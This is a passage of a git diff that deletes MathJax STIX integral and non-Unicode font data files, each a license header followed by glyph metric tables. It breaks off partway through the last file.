-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXIntegralsD-bold"],{32:[0,0,250,0,0],160:[0,0,250,0,0],8747:[2000,269,686,56,1136],8748:[2000,269,1084,56,1534],8749:[2000,269,1482,56,1932],8750:[2000,269,736,56,1136],8751:[2000,269,1134,56,1534],8752:[2000,269,1532,56,1932],8753:[2000,269,736,56,1136],8754:[2000,269,736,56,1136],8755:[2000,269,736,56,1136],10764:[2000,269,1880,56,2330],10765:[2000,269,736,56,1136],10766:[2000,269,736,56,1136],10767:[2000,269,736,56,1136],10768:[2000,269,736,56,1136],10769:[2000,269,736,56,1136],10770:[2000,269,836,56,1136],10771:[2000,269,736,56,1136],10772:[2000,269,926,56,1136],10773:[2000,269,736,56,1136],10774:[2000,269,836,56,1136],10775:[2000,269,911,24,1131],10776:[2000,269,736,56,1136],10777:[2000,269,836,56,1136],10778:[2000,269,836,56,1136],10779:[2182,269,746,56,1146],10780:[2000,451,696,56,1146]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsD/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/All.js
deleted file mode 100644
index 0e907f01..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsD,{32:[0,0,250,0,0],160:[0,0,250,0,0],8748:[2000,269,895,56,1345],8749:[2000,269,1205,56,1655],8751:[2000,269,945,56,1345],8752:[2000,269,1255,56,1655],8753:[2000,269,635,56,1035],8754:[2000,269,635,56,1035],8755:[2000,269,635,56,1035],10763:[2000,269,914,56,1035],10764:[2000,269,1515,56,1965],10765:[2000,269,635,56,1035],10766:[2000,269,635,56,1035],10767:[2000,269,635,56,1035],10768:[2000,269,635,56,1035],10769:[2000,269,635,56,1035],10770:[2000,269,735,56,1035],10771:[2000,269,635,56,1035],10772:[2000,269,844,56,1054],10773:[2000,269,635,56,1035],10774:[2000,269,735,56,1035],10775:[2000,269,819,24,1039],10776:[2000,269,635,56,1035],10777:[2000,269,735,56,1035],10778:[2000,269,735,56,1035],10779:[2157,269,636,56,1036],10780:[2000,426,585,56,1035]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsD/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/Main.js
deleted file mode 100644
index f4f9fc31..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsD={directory:"IntegralsD/Regular",family:"STIXIntegralsD",Ranges:[[32,32,"All"],[160,160,"All"],[8747,8755,"All"],[10763,10780,"All"]],8747:[2000,269,585,56,1035],8750:[2000,269,635,56,1035]};MathJax.OutputJax["HTML-CSS"].initFont("STIXIntegralsD");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsD/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Bold/All.js
deleted file mode 100644
index 43acf9ee..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXIntegralsSm-bold"],{32:[0,0,250,0,0],160:[0,0,250,0,0],8747:[732,193,562,41,618],8748:[732,193,870,41,926],8749:[732,193,1179,41,1235],8750:[732,193,626,41,618],8751:[732,193,934,41,926],8752:[732,193,1243,41,1235],8753:[732,193,626,41,618],8754:[732,193,626,41,618],8755:[732,193,626,41,618],10764:[732,193,1488,41,1544],10765:[732,193,578,41,618],10766:[732,193,578,41,618],10767:[732,193,626,41,618],10768:[732,193,562,41,618],10769:[732,193,626,41,618],10770:[732,193,579,41,618],10771:[732,193,581,41,618],10772:[732,193,688,41,652],10773:[732,193,626,41,618],10774:[732,193,579,41,618],10775:[732,193,646,8,646],10776:[732,193,578,41,618],10777:[732,193,559,41,618],10778:[732,193,559,41,618],10779:[802,193,555,41,611],10780:[732,268,556,41,612]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsSm/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/All.js
deleted file mode 100644
index c5089d80..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsSm,{32:[0,0,250,0,0],160:[0,0,250,0,0],8748:[690,189,726,41,782],8749:[690,189,956,41,1012],8751:[690,189,790,41,782],8752:[690,189,1020,41,1012],8753:[690,189,560,41,552],8754:[690,189,560,41,552],8755:[690,189,560,41,552],10763:[694,190,593,41,552],10764:[695,189,1152,41,1242],10765:[694,190,512,41,552],10766:[693,190,512,41,552],10767:[694,190,560,41,552],10768:[694,190,496,41,552],10769:[695,189,560,41,552],10770:[694,191,513,41,552],10771:[694,190,512,41,552],10772:[694,190,635,41,597],10773:[694,190,512,43,552],10774:[695,189,512,41,552],10775:[694,190,613,13,586],10776:[695,189,512,41,552],10777:[694,190,512,40,551],10778:[694,190,512,40,551],10779:[784,190,462,41,552],10780:[694,284,496,41,552]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsSm/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/Main.js
deleted file mode 100644
index adeb1b7e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsSm/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsSm={directory:"IntegralsSm/Regular",family:"STIXIntegralsSm",Ranges:[[32,32,"All"],[160,160,"All"],[8747,8755,"All"],[10763,10780,"All"]],8747:[690,189,496,41,552],8750:[690,189,560,41,552]};MathJax.OutputJax["HTML-CSS"].initFont("STIXIntegralsSm");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsSm/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Bold/All.js
deleted file mode 100644
index 8b2a29b6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXIntegralsUp-bold"],{32:[0,0,250,0,0],160:[0,0,250,0,0],8747:[824,320,425,59,467],8748:[824,320,715,59,757],8749:[824,320,1005,59,1047],8750:[834,310,394,35,483],8751:[824,320,650,35,739],8752:[824,320,951,54,1047],8753:[824,320,484,54,553],8754:[824,320,445,35,534],8755:[824,320,456,35,545],10764:[824,320,1295,59,1337],10765:[824,320,511,59,553],10766:[824,320,511,59,553],10767:[824,320,592,59,634],10768:[824,320,385,35,474],10769:[824,320,484,54,553],10770:[824,320,417,35,486],10771:[824,320,424,54,493],10772:[824,320,535,54,604],10773:[824,320,416,35,505],10774:[824,320,459,35,528],10775:[824,320,824,45,884],10776:[824,320,527,45,587],10777:[824,320,567,45,632],10778:[824,320,567,45,632],10779:[959,320,479,45,521],10780:[824,455,411,35,511]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUp/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/All.js
deleted file mode 100644
index 04c50275..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsUp,{32:[0,0,250,0,0],160:[0,0,250,0,0],8748:[824,320,596,59,638],8749:[824,320,826,59,868],8751:[824,320,548,35,637],8752:[824,320,876,54,972],8753:[824,320,478,54,547],8754:[824,320,441,35,530],8755:[824,320,475,35,564],10763:[812,332,706,43,661],10764:[812,332,1093,59,1135],10765:[812,332,467,59,509],10766:[812,332,467,59,509],10767:[812,332,529,59,571],10768:[812,332,346,35,435],10769:[812,332,478,54,547],10770:[812,332,365,35,434],10771:[812,332,384,54,453],10772:[812,332,509,54,578],10773:[812,332,396,35,485],10774:[812,332,412,31,481],10775:[812,332,771,45,831],10776:[812,332,455,45,515],10777:[812,332,504,45,569],10778:[812,332,504,45,569],10779:[935,332,453,45,495],10780:[812,455,376,59,509]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUp/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/Main.js
deleted file mode 100644
index 9db529f2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUp/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsUp={directory:"IntegralsUp/Regular",family:"STIXIntegralsUp",Ranges:[[32,32,"All"],[160,160,"All"],[8747,8755,"All"],[10763,10780,"All"]],8747:[824,320,366,59,408],8750:[824,320,397,35,486]};MathJax.OutputJax["HTML-CSS"].initFont("STIXIntegralsUp");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUp/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Bold/All.js
deleted file mode 100644
index aa085191..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXIntegralsUpD-bold"],{32:[0,0,250,0,0],160:[0,0,250,0,0],8747:[2000,269,515,58,560],8748:[2000,269,875,58,920],8749:[2000,269,1239,59,1281],8750:[2000,269,626,56,695],8751:[2000,269,1039,39,1039],8752:[2000,269,1384,36,1395],8753:[2000,269,632,47,760],8754:[2000,269,639,56,769],8755:[2000,269,598,56,778],10764:[2000,269,1595,58,1640],10765:[2000,269,552,-35,590],10766:[2000,269,642,35,680],10767:[2000,269,675,25,752],10768:[2000,269,640,56,646],10769:[2000,269,632,47,760],10770:[2000,269,625,58,654],10771:[2000,269,557,58,626],10772:[2000,269,708,58,789],10773:[2000,269,626,56,695],10774:[2000,269,718,56,747],10775:[2000,269,963,24,1057],10776:[2000,269,681,62,692],10777:[2000,269,832,65,898],10778:[2000,269,832,65,898],10779:[2182,269,733,0,773],10780:[2000,451,525,58,831]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUpD/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/All.js
deleted file mode 100644
index 80c3b847..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsUpD,{32:[0,0,250,0,0],160:[0,0,250,0,0],8748:[2000,269,787,58,832],8749:[2000,269,1107,58,1152],8751:[2000,269,849,39,849],8752:[2000,269,1161,36,1172],8753:[2000,269,608,47,736],8754:[2000,269,616,56,746],8755:[2000,269,605,56,785],10763:[2000,269,914,58,856],10764:[2000,269,1397,58,1442],10765:[2000,269,609,35,647],10766:[1999,270,609,35,647],10767:[1999,270,658,25,734],10768:[2000,269,629,56,635],10769:[2000,269,608,47,736],10770:[2000,269,568,58,597],10771:[2000,269,530,58,599],10772:[2000,269,695,58,776],10773:[2000,269,615,56,684],10774:[2000,269,653,56,682],10775:[2000,269,945,24,1039],10776:[2000,269,597,62,608],10777:[2000,269,735,65,801],10778:[2000,269,735,65,801],10779:[2157,269,701,0,741],10780:[2000,426,467,58,799]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUpD/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/Main.js
deleted file mode 100644
index 3d44584b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpD/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsUpD={directory:"IntegralsUpD/Regular",family:"STIXIntegralsUpD",Ranges:[[32,32,"All"],[160,160,"All"],[8747,8755,"All"],[10763,10780,"All"]],8747:[2000,269,467,58,512],8750:[2000,269,616,56,685]};MathJax.OutputJax["HTML-CSS"].initFont("STIXIntegralsUpD");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUpD/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Bold/All.js
deleted file mode 100644
index f3b35bb6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXIntegralsUpSm-bold"],{32:[0,0,250,0,0],160:[0,0,250,0,0],8747:[732,193,396,52,414],8748:[732,193,666,52,684],8749:[732,193,936,52,954],8750:[732,193,466,52,426],8751:[732,193,736,52,696],8752:[732,193,998,52,965],8753:[732,193,501,52,468],8754:[732,193,501,52,469],8755:[732,193,496,52,486],10764:[732,193,1206,52,1224],10765:[732,193,450,52,420],10766:[732,193,450,52,420],10767:[732,193,550,40,518],10768:[732,193,479,52,447],10769:[732,193,511,52,478],10770:[732,193,489,52,449],10771:[732,193,487,52,447],10772:[732,193,572,52,534],10773:[732,193,520,52,480],10774:[732,193,523,52,483],10775:[732,193,600,8,646],10776:[733,192,505,31,467],10777:[732,193,516,52,476],10778:[732,193,516,52,476],10779:[802,193,403,40,428],10780:[732,268,411,52,440]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUpSm/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/All.js
deleted file mode 100644
index 7b62c044..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsUpSm,{32:[0,0,250,0,0],160:[0,0,250,0,0],8748:[690,189,587,52,605],8749:[690,189,817,52,835],8751:[690,189,682,52,642],8752:[690,189,909,52,869],8753:[690,189,480,52,447],8754:[690,189,480,52,448],8755:[690,189,480,52,470],10763:[694,190,556,41,515],10764:[694,190,1044,68,1081],10765:[694,190,420,68,391],10766:[694,190,420,68,391],10767:[694,190,520,39,482],10768:[694,190,324,41,380],10769:[694,190,480,52,447],10770:[694,190,450,68,410],10771:[690,189,450,68,412],10772:[690,189,550,68,512],10773:[690,189,450,50,410],10774:[694,191,450,50,410],10775:[694,190,611,12,585],10776:[694,190,450,48,412],10777:[694,190,450,59,403],10778:[694,190,450,59,403],10779:[784,189,379,68,416],10780:[690,283,357,52,400]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUpSm/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/Main.js
deleted file mode 100644
index 6152c8bf..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsUpSm/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXIntegralsUpSm={directory:"IntegralsUpSm/Regular",family:"STIXIntegralsUpSm",Ranges:[[32,32,"All"],[160,160,"All"],[8747,8755,"All"],[10763,10780,"All"]],8747:[690,189,357,52,375],8750:[690,189,452,52,412]};MathJax.OutputJax["HTML-CSS"].initFont("STIXIntegralsUpSm");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/IntegralsUpSm/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/All.js
deleted file mode 100644
index 3e986aa3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-bold"],{32:[0,0,250,0,0],160:[0,0,250,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/Main.js
deleted file mode 100644
index 7ceb2f12..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-bold"]={directory:"NonUnicode/Bold",family:"STIXNonUnicode",weight:"bold",Ranges:[[32,32,"All"],[160,160,"All"],[57344,63743,"PrivateUse"]]};MathJax.OutputJax["HTML-CSS"].initFont("STIXNonUnicode-bold");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/Bold/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/PrivateUse.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/PrivateUse.js
deleted file mode 100644
index ef54adc3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/PrivateUse.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Bold/PrivateUse.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-bold"],{57344:[610,25,1184,808,912],57345:[704,-75,1198,808,1224],57358:[819,339,750,80,670],57359:[742,235,750,80,670],57360:[742,235,750,80,670],57361:[819,339,750,80,670],57379:[742,235,750,68,683],57381:[852,345,750,67,683],57384:[672,166,1000,38,961],57385:[672,166,1000,38,961],57399:[672,166,750,67,682],57421:[553,47,750,68,683],57424:[672,166,750,87,663],57425:[672,166,750,87,663],57426:[574,69,750,68,683],57435:[574,-16,750,68,683],57436:[553,31,750,68,683],57438:[762,-565,0,95,425],57440:[-137,322,0,0,330],57441:[-137,437,0,0,330],57442:[-137,552,0,0,330],57444:[837,-565,333,-16,349],57445:[-137,409,0,-16,349],57446:[801,-565,0,91,430],57447:[-137,409,0,-16,349],57453:[835,113,750,82,668],57454:[835,113,750,82,668],57455:[835,113,750,82,668],57456:[835,113,750,82,668],57470:[738,230,750,80,670],57471:[742,234,750,80,670],57472:[819,337,750,80,670],57473:[820,342,750,91,681],57474:[742,235,750,80,670],57475:[742,234,750,80,670],57476:[738,230,750,80,670],57477:[742,234,750,80,670],57505:[691,19,769,27,734],57520:[752,-531,0,100,417],57521:[-50,271,0,100,417],57522:[-50,271,0,99,416],57523:[691,203,556,14,487],57524:[555,-209,282,42,239],57525:[555,-209,282,43,240],57526:[478,-56,0,15,142],57560:[688,13,400,57,343],57561:[663,0,314,54,260],57562:[663,0,425,54,371],57565:[930,0,553,76,483],57566:[926,0,549,67,482],57567:[765,0,773,67,706],57568:[920,0,552,42,510],57569:[765,0,378,55,323],57570:[754,0,481,63,435],57611:[297,-209,315,0,315],57614:[405,-101,714,211,503],57615:[399,-107,315,0,315],57680:[175,302,735,-40,756],57681:[175,302,735,-21,775],57682:[477,0,735,-40,756],57683:[477,0,735,-21,775],57955:[422,10,523,26,496],57959:[425,0,523,111,420],57963:[421,0,523,53,470],57967:[424,198,523,31,478],57971:[420,198,523,42,496],57975:[421,198,523,49,474],57979:[614,8,523,21,502],57983:[421,198,523,8,507],57987:[606,12,523,31,493],57991:[421,202,523,25,499],57997:[734,-484,0,92,498],57999:[175,0,325,-1,326],58000:[175,0,633,-1,634],58109:[775,235,722,9,689],58111:[775,235,667,16,619],58113:[775,207,620,16,593],58115:[775,207,722,33,673],58117:[775,235,667,16,641],58119:[775,235,667,28,634],58121:[775,235,778,21,759],58123:[775,207,778,35,743],58125:[775,235,389,-36,436],58127:[775,235,778,30,769],58129:[775,207,707,9,674],58131:[775,235,944,14,921],58133:[775,235,722,16,701],58135:[775,207,647,40,607],58137:[775,235,778,35,743],58139:[775,207,778,21,759],58141:[775,235,611,16,600],58143:[775,207,671,28,641],58145:[775,235,667,31,636],58147:[775,207,723,14,700],58149:[775,207,836,18,818],58151:[775,235,722,16,699],58153:[775,207,804,11,793],58155:[775,207,768,28,740],58213:[775,235,669,32,665],58217:[775,235,667,-13,670],58221:[793,235,757,-49,758],58225:[775,235,734,27,710],58236:[775,235,667,16,641],58250: